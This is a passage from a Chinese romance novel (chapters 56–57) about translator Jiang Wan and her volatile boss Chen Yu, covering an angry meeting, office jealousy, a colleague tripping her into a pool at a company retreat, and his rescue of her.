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“可不是嘛,”最开始开口的人惋惜道,“真是可惜了,我有个亲戚,条件很好的,北城本地人,刚从国外留学回来,父母都是高知。本来想介绍你们认识的,可现在知道你有男朋友了,看来是没机会了。” 姜挽尴尬地笑了笑,没接她这话。 还有其他人想说点什么,门口突然传来一声轻咳,大家立即回头,这才注意到原本关着的玻璃门不知何时已经开了。 角度,光线,还有窗外的日光,都让姜挽在这个位置能清晰看到门外的身影,是周海,还有站在他旁边一言不发,面色冷沉的陈屿。 “看来,你们尼斯项目组很闲?”陈屿开口,那么亮的灯,也遮不住他眼神里的冷。 一瞬间,会议室进入静默模式,冷意一层层压上来,没人敢再随意开口。 56. 第 56 章 “还好,还好,也是因为上周设计图的事情刚解决,大家松了一口气。” 周海出来打圆场,陈屿却一点面子都不给,径直走到主位,拉开凳子,“啪”的一声将手中的文件摔在桌上:“本来就是弥补错误的事情,有什么好松一口气的?还是说你们这个项目组的风气一直就是如此?” 此话一出,在场的人全都愣住了,与其说是惊讶,不是说是惊恐更为合适。 一直以来,尼斯度假村项目都不在GSC的重点项目名单里,这点大家都知道,可陈屿对它的重视却又是有目共睹的。 从最开始的定标,到中间的立项,再到如今项目例会,每次的会议陈屿都参加,每次的进展他也都关注。更别说还有后来的加班晚餐和对他们项目组犯错后的宽容了,桩桩件件都在表明他对这个项目组是重视的,是不一样的。 可如今不过是一点无伤大雅的小问题,陈屿却突然间发了这么大的火,一时间,大家都猜不透,仿佛之前的那些都是错觉。 难道真是他们误会了?还是这中间发生了什么他们不知道的事情? 大家都有点懵,便把目光投向了周海,这个他们认为最有可能知道内情,也最有可能是陈屿重视他们这个项目的关键人物。 大家都希望他能出来说点什么,来解答大家的疑惑,来缓和陈屿的愤怒,可周海和他们一样,也是一头雾水。 但硬着头皮,他也得上:“陈总,是不是我们哪里没达到您的要求?您直说,我们立马改。” 陈屿没回答,因为只要张口,就是迁怒。 “还是说……” 陈屿拧眉,打断他:“先开会。” 这场会,可以说是尼斯项目组自成立以来,经历最难,遭受炮火最多的一次。不管是项目,还是负责项目的个人,每一个都遭到了陈屿全方位的“点评”。关键他的每一句话又一针见血,让人没有任何反驳的余地。到此大家才知道,原来之前他在会上说的“不发表意见”是真的不发表而已。 一个小时过去了,视线所及之处皆是一张张垂头丧气的面容,可陈屿还是觉得心里有火,这股从刚才听到他们说“姜挽有男朋友”就已经烧起来的无名火。 愤怒,嫉妒,悲伤,还有很多类似的情绪在胸腔里翻滚,这些情绪他很熟悉,而且这些年他也一直都是与它们相伴的。 陈屿习惯了,也可以压抑的。 可当视线扫到角落里的姜挽时,他此刻突然就不想再忍了。 她很漂亮,他觉得漂亮,其他人也会觉得漂亮。他会被吸引,其他人自然也会被吸引。 一滴,两滴,他似乎听到了下雨的声音。陈屿这才意识到,原来八年前那场雨,在他心里从来就没有停过。 他突然变得烦躁:“我再强调一次,这里是公司,是工作的地方,不是你们随便八卦或者聊天的地方。我不管你们私底下是有男朋友,还是已经结婚了,希望你们以后都不要再拿到公司里来说,因为没人愿意听,更没人会在意!” 劈头盖脸的一阵宣泄,说完后,他特意看了姜挽一眼,这才从会议室离开。 他一离开,便立马有人开始窃窃私语:“陈总这是怎么了?怎么突然间发这么大的火?” “是啊,以前在会上虽说称不上多和善,可也从没发过这么大的火啊,一直以来我还以为陈总是个脾气很好的人,今天才发现竟然看错了。果然,能做到这种级别的领导,是不会那么轻易就被我们这些小啰啰看透的。” “谁说不是呢,不过陈总发起火来还真是吓人,就刚才,他摔东西那下,不夸张地说,我的心脏差点都跳出来了。” 说来说去,也没人说到陈屿今天为什么会发火的原因,有人直接抛出问题:“那你们知道陈总今天为什么突然发火吗?知道的话,赶紧说出来,我们以后也好避开啊。” “不知道,”众人摇头,“不过听他最后那句话的意思,应该是和大家聊八卦有关系,反正以后我们在公司还是尽量少聊些八卦吧。” 此话一出,众人的目光瞬间便来到了姜挽身上,因为刚才陈屿进来时,他们恰巧在聊她的八卦,被陈屿听到的,也正是这个。 尴尬,无奈,还有抱歉,大家面面相觑,于是很快便收回视线,沉默地离开了会议室。 姜挽其实也有点懵,一直以来,陈屿虽然对她态度不算好,可从来没有这么凶过。刚才的他,除了生气,其实更多的是愤怒,像是被触到了逆鳞,整个人气场都变了。看来,八卦这个东西,他是真讨厌。 姜挽虽对他的方式觉得有点震撼,可对他处理这件事的出发点还是认可的,毕竟确实如他所言,她们来这里是来上班的。 姜挽回到办公室的时候,方简简正和其他几位同事在聊天,聊的内容听不见,但只看她的表情,眉飞色舞,手舞足蹈,就知道必然是什么热闹的话题。 见她进来,方简简睨着目光扫了一眼,而后旋转椅子,当即转身。力道之大,连路过的风里,似乎都被带起了一阵不怀好意的震荡。 姜挽对她这样已经见怪不怪了,自从之前把话题说开后,方简简便一直都是如此。不过这样也好,两人井水不犯河水,她没精力,也没时间去关注这些。 姜挽拿了水杯朝茶水间走,方简简却在她身后跟了上来。接完水,姜挽正打算走,转身的刹那,突然和方简简迎面撞上。 低声的一句,伴随清晰的讽刺,瞬间飘进她的耳朵里:“听说,陈总今天在会上发火了,还是因为你的原因?” 姜挽退后两步,端着水杯,垂眼看着她。她比方简简高,所以即便此刻并没有咄咄逼人的气势,整个人看起来也是稳的。 仿佛静透的一汪湖水,又好似挺直的一竿翠竹,不动不破。 方简简看她这样,更来气了,冷笑一声:“所以啊,有些东西不是你的,就永远也不会是你的。即便是凭借一时的侥幸加入了,可要是没能力,到头来也还是一样。”她压上一步,真是一点也不装了,“我们走着瞧,尼斯度假村这个项目我早晚有一天会加入。” “这些你和我说没用。”姜挽还是那句话。 “我知道啊,我不过是想恶心你罢了。” “所以,从一开始就是假的?” “你觉得呢?” 姜挽看着她,久久,才吐出一句:“你到底想怎么样?” 方简简轻笑:“看你这话说的,这大庭广众的,我能做什么呀?” 姜挽正打算继续开口,手机突然响,她拿出来看一眼,是周海的电话,方简简也看到了,借此又开始阴阳:“你的项目经理找你呢,还不赶紧接。说不定啊,这个项目你也没几天待的了,还不赶紧趁在的时候,多发挥点作用。” 要是说一点不生气,肯定是假的,可手中的电话还在响,由不得姜挽分心太多。 她扫了方简简一眼,从茶水间出来:“喂,周经理……” 其实要找她的人不是周海,而是陈屿。 电话里,周海把前因后果都和她说了,不是什么大事,只是有几个地方的翻译陈屿觉得不满意,要单独和她讨论。挂断前周海还特意交代她,不用太紧张,正常沟通就行。 姜挽应声,可挂了电话后,还是觉得这件事肯定不是这么简单。陈屿明明有她的微信,却不直接联系她,而是偏要绕过周海这一道,这说明他对她有怨言,是因为她翻译的问题吗?还是说,是因为刚才的八卦事件呢? 姜挽其实不擅长猜别人的心思,尤其是陈屿,自他们重逢后,她就觉得他好多地方都变了。说的很多话,做的很多事,她都看不懂,就更别提去猜他的心思了。 可这道坎,她不得不迈,这件事,她也不得不做。 怀着忐忑的心情,姜挽最终敲响了总裁办公室的门,可开门的却不是陈屿,而是他的助理宋泽宇,之前在公司里姜挽曾远远看过他几次。 “您好,陈总让我来的。”她先开口。 “姜翻译,陈总和我交代过了,他现在还在开会,预计十五分钟之后就会回来,您先在这里等一会儿。”宋泽宇明显知道这件事,带姜挽往旁边的小会议室走,“您喝点什么?” “不用,我不渴。” “好的,那您先在这里等一会儿,有需要叫我。” “好的,谢谢。” 宋泽宇离开后,会议室就只剩姜挽一个人了,这还是她第一次来到陈屿的办公室,忍不住开始四处打量。桌椅,书柜,还有整个房间的装饰风格,都很简约。灰白为主,线条感极强,仔细看下来,倒是符合他的性格。 最特别的,当属正东的那扇落地窗,因为高度太高,甚至能看到窗外飘动的白云。姜挽忍不住想,他确实是在峥嵘的高处,可也高处不胜寒。 正胡思乱想,门外突然传来一阵脚步声,姜挽看一眼手机,还真是十五分钟,不多也不少。 门还没开,她就提前站起来了,见陈屿进门,忙主动打招呼:“陈总。” 陈屿看都没看她,视线落在宋泽宇身上:“没你什么事了,你先出去。” 宋泽宇点头,出去的时候,顺便还把门带上了。 办公室里一时只剩下她和陈屿两个人了,周遭很静,针落可闻。 姜挽担心刚才她声音太小,陈屿没听到,于是便提高音量又重复了一遍:“陈总,”她迈近两步,“听周经理说,您叫我过来是因为有翻译的问题?” 这次,陈屿看她了,可神色可堪淡漠,似乎还带着挫败。这种表情,姜挽之前从来没在他脸上看到过,一 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又是这副语气,尖锐,讽刺,仿佛她是他的敌人。姜挽心里闷闷的难受,而且她知道,要是陈屿和周海说过的话,周海一定会和她说的。 所以,实际情况只有一个,那就是陈屿根本没说,这会儿是故意为难她。 可这种事,就算想通了,她也得自己承担下来:“也可能是周经理说过了,我没记住,能不能麻烦您再说一遍?” “你当我时间很多吗?每天就和你说这些?” 毫无征兆的,陈屿突然发火了,姜挽垂着眼睫,没吭声。 陈屿看她这不争又不辩的,情绪倒是稳定,更觉得自己像个傻子,一直以来都是,更压不住火了:“我早就说过了,能干就干,不能干就趁早滚蛋,没人陪你们玩什么成长类的游戏!” 姜挽赫然抬头,觉得他反常,而且他这话也没什么道理,她尝试和他心平气和地沟通:“陈总,有什么问题的话,麻烦您明说,我一定尽量修改。” “有什么问题你自己不会看吗?作为一个翻译,你连反思的能力都没有吗?”陈屿简直是不讲理。 姜挽瞪着眼睛看着他,像是生气,又仿佛委屈:“陈总,就算您是领导,也应该讲点道理吧?是您说我的翻译有问题,让我过来的,我来了,您又一句话都不说,抱歉,我真的不知道问题在哪,更没办法反思。” “所以,你打算放弃了?这就是你对待工作的态度?” “我只是不想浪费您的时间。” “我的时间还轮不到你来安排。” “那好,那我先走,等您安排好了我再过来。” 她合上电脑要走,被陈屿拦下,说了一句莫名其妙,没有任何逻辑的话:“我不过是说了两句而已,你就受不了了?你怎么不想想你自己,想想你做过什么?” 姜挽完全不懂他的意思:“我做过什么,还请您说直接点。我是迟到早退了,还是工作没做好?只要您能说出来,我都认。” 说着,她觉得委屈,眼眶酸酸胀胀的,她胡乱抹一把:“还请您直说!” 见此,陈屿蹙眉:“怎么?你还觉得委屈了?”他的话虽还是不好听,可语气已经很明显软下来了,他将手中的烟蒂捻灭,灼灼地盯着她。 被他这样看着,姜挽倒好似成了那个没道理的人:“我不能委屈吗?” “你没资格。” “那好,我走。” “我有说过让你走吗?” “那您到底想怎么样?”姜挽也是破罐子破摔了。 两人就这么对视着,一个是隐忍的委屈,一个是难言的愤怒。 最终,还是姜挽先给了台阶:“我不知道您为何会有如此大的火气,如果和那会儿在办公室的八卦有关系,那我承认确实是我的问题,我可以和您道歉。” 她单纯指的就是八卦的事情,可陈屿却误会了,以为她意有所指,那个他最讨厌的话题。 突然的,没有一点征兆,桌子上的文件被他一把扫到了地上。 领带被他烦躁地扯松了:“我有说过和这个有关系吗?” “姜挽,你未免也太自恋了吧?这么多年,我品味早换了,你当我还喜欢你这种类型的?” 姜挽没这么以为,她也不知道陈屿是怎么扯到这个话题上的,心里还是委屈,可她已经不想解释了:“您就当我是自恋吧,那么请问,我现在可以离开了吗?” 陈屿不说话,只直直地看着她,像是要透过她这副身体,看进她的灵魂。 姜挽被看得很不自在,也不管他答不答应,拿着电脑便走了。走出去好远,她还能听到屋内传来一阵凳子被踹倒的呲啦声。 57. 第 57 章 往后很长一段时间里,陈屿都没再过问尼斯项目的事情。会议不参加,进度不关注,虽然邮件还是在抄送里面,可他也再没回复过。 大家纷纷感叹,这领导的心思,还真是难猜。 某日开完项目会,周海让姜挽单独留一下,姜挽大概能猜到他会问什么问题,所以有点紧张。果然,在最后一个同事离开后,周海关上门,开口问她:“上次陈总让你和他讨论翻译,结果怎么样?” 姜挽低着头,答得敷衍:“还行,就讨论了几个翻译的细节问题。” “你们没起争执吧?”周海又问。 “没有,”姜挽有点心虚,“陈总是领导,我怎么会和他起争执。” 周海点点头,可能也是感觉到了她的紧张,于是开口解释道:“你不用紧张,我也就是随便问问。陈总最近对我们项目组的态度你也看到了,思来想去我也没想明白到底是因为什么,考虑到我们组你是最后一个和他有过接触的,就顺口问了。不过现在看来,你应该也不知道。” 姜挽是不知道,而且她也不认为她这么一个小小的外派翻译人员,会对领导的想法造成影响,所以她刚才才没有说实话。 因为不管是在项目里,还是在陈屿那里,她都是一个无关紧要的人物。 无关紧要,自然也就不会影响大局。 话说完了,姜挽打算走,周海却让她再等一下,转身从文件夹里抽出一张长方形,四角印烫金边的珠光纸,递给她:“GSC第四季度战略分享会的邀请函,你到时候一起去参加。” 珠光纸质感很好,摸在手里光滑,灯光下更是有珍珠的光泽,姜挽来回看了两遍,才开口:“这个会,外派翻译人员也要求去吗?” “对,GSC在这方面可能和其他公司不一样,只要你在这里上班,关于公司战略和分享的会就都得参加,”周海没注意到她的反常,还从其他方面帮她分析,“而且陈总在这方面一向出手阔绰,订的酒店都是五星级的,吃喝也都是大手笔。所以与其说是开会,不如说是给大家的员工福利更为恰当。” 说罢,周海打算走:“也是你幸运,刚来没多久就赶上了,你看下时间,要是有冲突,就提前安排好,到时候好好放松放松。” 时间是下周五,从中午十二点一直持续到晚上十二点,这点姜挽倒是没什么问题,只是她有点不想去。 老实讲,她现在有点怕见到陈屿,上次和他在会议室的不欢而散,她虽然没和任何人提起过,可事后想起来也难免有些后怕。 他是甲方啊,被他说两句又怎么了?姜挽也不知道当时自己脑袋里在想什么,竟然就那么和他起了争执,而且还一气之下直接离开了。 虽说以她现在的身份,陈屿是犯不着专门找她麻烦,可要是不小心碰上了,看见一个得罪过自己的人老是在自己眼前晃,想必堵心肯定还是会有点的。 他要是觉得堵心了,她还能有好日子过吗? 恍恍惚惚回到办公室,周围的其他外派翻译也正在讨论这个话题,看来周海没骗她,这个会是硬性要求必须全部参加的。 周围的讨论声很大,一会儿是关于穿着,一会儿又是发型,最后又扯到包包和香水上,这其中,要属方简简的声音最大,也不知是有意还是无意,每提到一个奢侈品的牌子,她都会朝姜挽瞥过来一眼,不用看都知道,那眼神里肯定尽是鄙夷和挑衅。 在座位上待了会儿,姜挽实在是觉得吵,便搬着电脑来到了休息区。GSC大楼内设有专门的休息区,原本是用来给大家休闲放松的,后来经过逐渐演变,有时候大家觉得办公室太压抑,也会来这里办公。 姜挽到的时候,意外发现林瑜也在,此时正坐在窗边,戴着耳机看电脑。 姜挽知道她不喜欢被人打扰,所以也就没往她那边走,可现在这个点人不少,姜挽绕了一圈也没发现空着的位置,除了林瑜对面的那一个。 正当她准备离开,换个地方的时候,林瑜却突然摘下耳机,朝她招了招手,接着又指了指她对面的位置,意思很明显,是让她过去坐。 姜挽也就点点头,没再犹豫。 高脚凳,圆形实木桌,两人相对而坐。就在姜挽以为林瑜会再次戴上耳机,两人互不干涉时,她却再次做出了让她吃惊的事情,竟然主动开口了:“你也是被吵得受不了了吧?” 一瞬间,姜挽还有点没反应过来,想了想才意识到,她指的是方简简她们在办公室讨论的事情。不过姜挽没直接回答,而是反问:“你也是?” 林瑜突然很轻地勾了下唇角:“是啊,不然我也不会这个点跑出来。” 难得的一次相似经历,姜挽不自觉也笑了:“是有点吵。” 算起来,这还是她们第一次用这种语气说话,姜挽刚觉得有点轻松,林瑜却突然再次开口,一句话,就瞬间又把气氛拉回了严肃:“那个方简简,你最好还是小心点,她绝不像外表看起来的那么清纯无害。” 说完这句,林瑜再次戴上了耳机,又恢复到最开始那副不喜交际的冷脸状态了。 余光里,姜挽能看见她的动作,她发现林瑜虽然表面看起来冷,可时间长了,就会发现她这个人其实不坏。不然也不会在上次打印时帮她,这次又刻意提醒她。 本来姜挽还抱着和方简简“井水不犯河水”的想法,可经过这段时间的观察,方简简似乎对她恶意很大,再加上林瑜今天这么一提醒,姜挽也觉得她以后再面对方简简时,是该留个心眼了。 会议当天,是个大晴天,但因为已经过了立秋,整体也热不到哪儿去,体感温度很舒适。 因为有“dresscode”要求,这场会议主要以“商务简约风”为主,姜挽特意选了白衬衣和黑半裙的搭配,再配上一双高跟鞋,最基础,也是最不会出错的装扮。 因为是半裙,她原本还担心自己的穿搭会不会有些过于露肤了,可到了公司才发现,她的担心纯属多余。无袖,短裙,甚至还有各种彰显身材的紧身裙,在“商务”二字的基础上,大家都最大程度地发挥了自己的优势。相比之下,她的穿搭反而成了那个最保守,最不显眼的。 GSC安排了几十辆大巴,一路浩浩荡荡。姜挽原本以为这种场面就已经够声势浩大了,可到了酒店才发现,整家酒店竟然都被他们包了下来。 酒店的位置依山傍水,为某洲际酒店集团旗下的奢华型。游泳池,高尔夫球场,还有流光溢彩的装饰和富丽堂皇的建筑,一落脚,就仿佛踏进了一个“纸醉金迷”的世界。 到了酒店,先吃午餐,自助式海鲜供应。生长在加拿大东海岸的象拔蚌,从北大西洋空运而来的鹅颈藤壶,还有咬一口就能尝到丰富蛋白质和矿物质的阿拉斯加帝王蟹,之前那些只在书本或者菜单上见过的,今天都逐一对上号了。 姜挽不禁感叹,难怪周海会说她幸运,说陈屿一向大手笔。 姜挽原本还担心在这里和陈屿碰上后会尴尬,可看今天这个架势,应该是不会了。人太多,连自己部门的人,她都不怎么能找到,就更别提时刻被人群簇拥着的他了。 这样想着,姜挽心里也轻松不少,正打算去拿甜点,恍惚间,突然看见了一张熟悉的脸,那张她刚刚还想到,觉得不可能遇见的脸…… 姜挽不大敢确认,视线越过拥挤的人群和闪烁的珠光翡翠再去看,高个子,黑西装,沉冷的气质和出众的五官,是陈屿没错了。 他正端着酒杯和旁边的人说话,没什么表情,看起来似乎有些心不在焉,视线好几次四处逡巡,像是也在找人。 姜挽第一反应是躲,可已经来不及了,刹那间,两人视线相对,在空气中进行了一个无声的对视。 最终,是陈屿先移开了视线,朝其他地方去了。他一迈步,身后便“呼啦啦”跟着一群人离开,刚才还热闹异常的场合,瞬间冷却下来。 姜挽懵懵的,看着他离开的背影。也不知道他刚才到底看见自己没有,要是看见了的话,那他转身就离开,又是几个意思呢?莫非,还在因为之前的事情和她生气? 正思索着,迎面恰巧有同事过来和她打招呼,是技术部负责图纸的一位,因为尼斯项目的翻译,姜挽和她有过几次接触。 两人平时工作都忙,除了开会的时间,其他很少能碰上。今天也是借这个机会,对方想和她多聊一些,姜挽当然也愿意了。 两个人聊起来的时间,总是会比一个人待着过得快。很快,午餐时间结束,大家在负责人的安排下直接前往会议室,开启今天这场会议的正式主题——GSC第四季度战略会议的分享。 会议室很大,一眼扫下来,约莫有一千多平。穹窿顶,无立柱,整体呈层层梯升的结构,由近及远,由下往上,逐渐拉开。 位置是按部门划分的,翻译部被安排在右侧居中的区域,姜挽她们属于翻译部的编外人员,自然也被安排在这里。她旁边是林瑜,再过一个才是方简简。此时方简简正热络地和其他人打招呼,明显是在刻意排挤她俩,不过好在她和林瑜也都是不爱掺和的性格,也就不怎么在意。 翻译部人不算多,所以安排起来很快,相比之下,其他部门可就没这么快了。可仔细看就会发现,现场人虽多,却并不混乱,在工作人员有条不紊地指导下,没过多久,也就两三分钟吧,大家基本就都已经完成了全部的落座。 可现场的气氛却并没因此冷却下来,反而比刚才更加热烈。顺着这声音,姜挽去看,果不其然,在会议室的正中心区域,看见了陈屿的身影,跟在他身后的,还有GSC的整个管理团队。 一身黑色西装,同样低调沉稳的暗色系领带,挺拔的高个子,还有微带着点淡漠的上位者特有的凌厉眼神,儒雅也潇洒,矜贵却霸气,难怪大家会如此兴奋了。 接下来,会议正式开始,进程其实很简单,陈屿先做开场白,再由其他各自负责的VP做详细的介绍,从市场定位,发展战略,再到最后的组织管理和技术创新,从点到面,由浅入深,真正算得上是一场淋漓尽致的全面又透彻的分享。 几个小时,不像是一场会议,反倒更像是一次知识科普。 结束后,刚才会上听到的那些观点还不停在姜挽脑中回放,她原本以为所谓的战略分享只是走个过场,大家找个机会聚在一起吃吃喝喝而已,没想到竟然会是如此专业性的一次体验,尤其是陈屿。 到现在,走在去卫生间的路上,姜挽的脑子里还全都是他,举手投足间的温文风情,俯瞰台下时的王者霸气,回答问题时的专业严谨,还有…… 突然,迎面传来一道不耐烦的声音:“你走路都不看路的吗?” “不好……”姜挽刚打算道歉,视线一抬,却愣住了,硬生生将剩下的几个字咽进了喉咙里。 这种前一秒那个人还在脑海,这一秒却突然出现在自己眼前的情况,她还是第一次遇见。更何况,她刚才脑子里的那点东西也称不上完全的光明磊落。 “你刚才在想什么?走路都不看路的吗?”陈屿又重复了一遍,这一次,除了声音外,很明显,他的表情更不耐烦。 姜挽被问的语塞,也可能是心虚吧,她快速错开身体,给他让出一条路:“抱歉,我刚才没注意到,您先走。” 哪知,陈屿却不走,而是压上一步,再次和她面对面:“姜挽,你在躲我?” 被发现了,可她不能承认,伴随着呼呼的冷气,姜挽涩然开口:“怎么会,您是领导,我怎么会躲着您呢,再说了……” “你记得这点就好,”陈屿蓦地打断她,像是耐心已经用尽,“记住你现在的立场和工作,什么该做,什么不该做,自己心里最好有杆秤。” “知道了。”莫名其妙被训,姜挽实在没办法继续热情了。 “还有,”陈屿却并不打算就此放过她,视线在她身上来回看了两圈,从头顶到脚尖,越往下,表情越难看,“这身衣服以后不要再穿了,记住你的身份和工作职责,不要妄想通过其他的手段走捷径。” 走捷径? 一瞬间,姜挽有点没反应过来,她睁大眼睛:“为什么?” “没有为什么,我不喜欢。” 说完这句,陈屿头也不回地迈步离开了,看着他的背影,姜挽才渐渐回过味来,原来他说的“走捷径”竟然是那个意思! 姜挽低头看了一眼自己今天的这身穿搭,又看了看其他同事的,在这“争奇斗艳”的环境下,她今天这身是再普通不过,也是再保守不过了的! 至于陈屿刚才为什么会那样说,她百思不得其解,无奈之下,也只能归咎于是他对她这个人的不满意。 会议结束后,接下来进入下一半的议程,一个稍显轻松,大家都比较期待的部分,自由活动环节。 顾名思义,每个人都可以按照自己的喜好,在这酒店的娱乐设施里,选择自己感兴趣的那一项。运动、健身、KTV,喝酒、打牌、Masaage,全凭个人喜好。 可要说热闹,还属游泳池这块人最多。 因为陈屿在这里,正端着酒杯和其他管理层畅谈,领导在的地方,自然是会热闹些的。 姜挽也在这热闹之中,可她并不是自愿参与的,完全是因为人太多,被莫名其妙挤了进来。尝试了两次想离开,都被拥挤的人群堵了回来,第三次的时候,竟然意外撞见了方简简。 其实也称不上意外,是方简简一直等着她呢,自今天会议开始,她的注意力便一直在姜挽身上,时刻想着寻个机会让姜挽在大家面前出丑。 踏步,横眉,抱胸,方简简拦住她:“这么着急,这是要去哪儿啊?” 姜挽记着林瑜的话,知道方简简这个时候来找她肯定没好事。本着多一事不如少一事的原则,她没回答,而是特意绕开,打算走。 可方简简就是冲她来的,又怎么可能轻易放过她:“你不是喜欢在陈总面前表现吗,这会儿他在,你却要走,不符合你的一贯作风啊?” 眼见着一时也摆脱不了她,姜挽又不想影响其他人,她索性往游泳池旁边靠近,那里人少:“一贯作风?”她挑眉,声音沉冷又不失立场,“我自己都不知道我的风格是什么,你怎么就知道了?有时间不如多花在自己的工作上,不要总是关注一些和自己不相关的事情。” 她没退,而是直接和她针锋相对,方简简也没想到。冷哼一声,她伸出手指,悠闲地勾着耳侧的卷发,指甲油鲜红闪耀,灯光下来回晃动,让姜挽想到了闪着寒光的刀尖。 方简简微眯着眼:“对嘛,这才是你嘛,和我装什么呢?” 时间,地点和场合,都让姜挽觉得不适合和她再继续说下去了,她打算走,本以为还会有一番纠扯,没想到这次方简简却没拦。 姜挽原本还觉得疑惑,可转身的功夫,突然脚下被绊,她这才明白过来方简简的用意,可已经来不及了…… 她此时就站在游泳池旁边,方简简这一绊,让她瞬间失去重心,身体倾斜着朝旁边倒去,“扑通”一声,落入水中。 与此同时,岸上也发生了一阵骚动,一道高大的身影迅速穿过人群,朝着姜挽落水的方向奔来,接着纵身一跳,一头扎进了水里。 其他人根本不知道发生了什么,只是眼见着自己的老板就这么毫不犹豫地跳进了水里,一时又震惊又担忧,当即便炸成了一锅粥。 隔着水,岸上的动静姜挽听得并不真切,姜挽只觉得冷,还有因为冷水倒灌引起的,身体一系列的窒闷感受。 刚才事发太突然,她一点准备都没有,所以一时间乱了分寸。这会儿反应过来了,唯一的想法就是要游上去,像以往任何一次一样,靠她自己游上去!靠她自己来拯救! 三十厘米! 二十厘米! 十厘米! 还有五厘米,她马上就要游出水面了! 突然,头顶上方出现了一道身影,接着,那道身影越游越近,隔着海水的斑斓翠色,姜挽看到一张再熟悉不过的脸。 剑眉薄唇,还有那犹如黑曜石般的漆黑眼睛和永远带着点不耐烦的淡漠表情,是陈屿没错了。可他怎么会在这里?他这时候跳入水中,是来救她的吗? 她能这么想吗?她有资格这么想吗? 突然,腰上搭过来一只手,接着那只手微微使力,将她一把带入怀中。水那么凉,他的手更甚,可姜挽却觉得此刻被他触碰的地方好似碰上了烙铁,一股热意迅速席卷全身,仿佛要将她从里到外都熬热。 她不自觉挣了挣,没想到下一秒,腰上的力道突然加大,接着干脆将她搂进怀抱,带着一股不容置喙的力量。 颤动。 心在颤,视线在颤,就连水面都在颤。在这接连不断的颤动和无处躲避的接触中,姜挽最终被陈屿抱着腰,从水里捞了上来。 周围人迅速聚集,她不用抬头都知道,此刻有多少双眼睛正在盯着她。脚步声,议论声,还有来回不断晃动的身影,姜挽突然觉得有些头晕。 蓦地,一件外套朝她兜头而来,浅淡的木质香味,当然还带着明显不悦的话语:“披上。” 陈屿这是在帮她解围,她知道,所以没做任何犹豫便快速披上了。毕竟,和方简简单方面有矛盾是一回事儿,此刻在如此狼狈的情况下被这么多人围观就是另外一回事儿了。 有人开口了,当然是询问陈屿的情况,还有看在陈屿的面子上询问姜挽的,不过无论是谁,陈屿都统统做了回绝,默默上前一步,将姜挽挡在身后:“一个小插曲,你们继续,我先回酒店换件衣服。” 他一发话,没人敢再继续开口,都默默退到一边,给他让出来了一条路。 陈屿没走,而是一个眼神看向身后的姜挽:“姜翻译,想必你也需要处理下吧?” “当然,”姜挽巴不得现在立马就从大家的围观中消失,所以陈屿一开口,当即便答应了,“那就麻烦陈总了。” 临走前,她还特意在人群里找了一圈,哪里还有半分方简简的身影,应该是在绊她入水的那一刻就立马离开了。< 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“你的……”起了头,她又不知该如何开口了,这事毕竟是因为她,陈屿之所以会把自己搞得这么狼狈,也是为了救她。心里有什么东西在拉扯着,稍不注意,她便脱口而出:“刚才,谢谢你。” 陈屿看都不看她,冷硬的下颌线仿佛一把钢刀,果断而又不留情面地斩断了她的幻想:“你不要想多了,刚才那种情况,换作其他任何一个人,我都会去救。” 虽然知道事实如此,可面对面听到他亲口说出这些话,姜挽还是免不了会有些颤动,她垂下眼:“我知道的,我并没有其他的意思,只是想感谢你。” 陈屿从眼前的镜子里看了她一眼,看不出来在想什么,只不过没再开口了。 电梯继续上升。 刚才宋泽宇帮他们和前台做了沟通,已经帮她们安排了房间和衣服,他们只需要乘电梯上去即可。而且楼层也不算太高,就在十楼,随着“叮”的一声响,电梯很快到达。 出门,右拐,迈步,陈屿全程没看她一眼。 姜挽跟在他身后,也没再开口,只不过到了房间门口,她却有些犹豫了,因为宋泽宇给他们安排的房间,只有一间。 虽然只是一个片刻的短暂动作,可因为陈屿对她的动作和表情很在意,所以一瞬间,他还是捕捉到了。轻笑一声,很不屑,又像是讽刺:“你放心,我对你没有兴趣,一间房只不过是为了节省成本而已。GSC虽说不差钱,但只是换个衣服这样的小事就开两间房来肆意挥霍,也没有过这样的先例。” 姜挽被他说得尴尬:“我没有这样想过。”她只是觉得会有点不方便而已,“所以,你先换,还是我先换?” 房间是个套间,进了门,陈屿没去卧室,而是直接走向客厅,那样子很明显,是让她先换。 姜挽也就没再自讨没趣,拿起床上提前准备好的衣服,率先进了更衣室。 衣服是酒店准备的,尺码偏大,而且设计也很独特,有一排繁琐的纽扣在背后,姜挽尝试了几次也只是把下半部分扣好了,靠近蝴蝶骨的位置始终没有成功。 她急得满头大汗,偏偏陈屿还要在这个时候催促:“姜挽,换个衣服而已,你需要这么长时间吗?” “我马上就好,请再稍等一下。” “你以为谁都和你一样,时间不值钱吗?再给你两分钟,立马给我出来。” “好……好了。” 最后,紧赶慢赶,姜挽总算是在他给的两分钟内出来了,只不过姿势别扭,两只手还按在背后,看起来十分滑稽。 见她这样,陈屿忍不住皱眉:“这么慢,别和我说你刚才晕倒在里面了?” “没有,没有,我换完了,您去吧。” 她虽这样说,可双手仍然放在身后的位置,陈屿也注意到了:“你这又是在干什么?” “没事。” 陈屿冷冷看了她几秒,没再和她废话,随即迅速起身,径直绕到她背后:“我说你……” 可话说一半,他却突然住了口,因为此时因为衣服纽扣的原因,她大片后背裸露在外面,被灯光一照,新雪一样的白皙。 晃了他的眼,也晃了他的心。 一想到她这个样子可能会被其他人看到,陈屿就莫名恼火:“所以,你就打算这样出去?” 被他这么一说,姜挽更心虚了,连忙转过身:“不是,我是打算等你换完之后再进去弄的。” “现在就去。”陈屿完全是命令式的口吻,丝毫没和她商量。 哪知,姜挽却不动。 陈屿压着火:“姜挽,我刚才说的话你没听见吗?难不成,你真想就这么出去?” “不是,”见他真的生气了,姜挽索性坦白,“后面的拉链我够不到。” 一瞬间,空气陷入凝滞,两人都没再开口。 窗外不知何时已进入了夜色,天上有云,月色朦胧。 像是很短,又仿佛很长,陈屿终于先做了让步,他深吸一口气,开口:“转过去。” “什么?” “我说转过去。” 姜挽虽然不明白他的用意,可看他此刻的表情,也知道他不是在开玩笑,于是按着后背,在他眼前扭捏地转了身。 又是那片雪白,刚才的一扫而过和此刻的近在眼前,完全不是一样的概念。陈屿庆幸此刻她是背对着他,不会看到他的表情,他也不用极力伪装。而且就算他想装,这个时候也装不了。 “好了吗?你打算……” 话没说完,姜挽突然顿住,因为她感觉到后背有东西抚了上来,冰冰的,凉凉的,细腻的触感,像是……像是他的手指…… 霎那间,背上一阵战栗,姜挽瑟缩了一下,随即想要转身,可肩膀却突然被按住了,接着,沉沉音色在她耳边响起:“你要是想现在这个样子被其他人看到,你就尽管乱动。” 她不动了。 